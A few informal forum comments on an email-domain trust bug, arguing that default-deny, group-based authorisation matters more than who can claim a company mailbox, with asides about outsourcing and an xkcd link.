Further, IMO, sure it's a bug that one can say they control support@company.com. But IMO the real issue is lousy, permissive authorisation that gives access to anything simply by virtue of controlling a @company.com mail. Surely some HR/tech person, when an employee is being onboarded, should be enabling access to some core systems (probably by adding them to a group), and the default state for an account with no groups should be no access.
In any large enough organisation, IME there's a lot of ways to get a @org.com email, and too many people/systems have the ability to create an email than a single centralised IT team.
Do you find it surprising that they use Microsoft Office too? Paying someone else to handle things like this is cheaper than paying developers and hosting a service like this.
And also that being brilliant doesn’t magically correlate with being knowledgeable.
https://xkcd.com/1053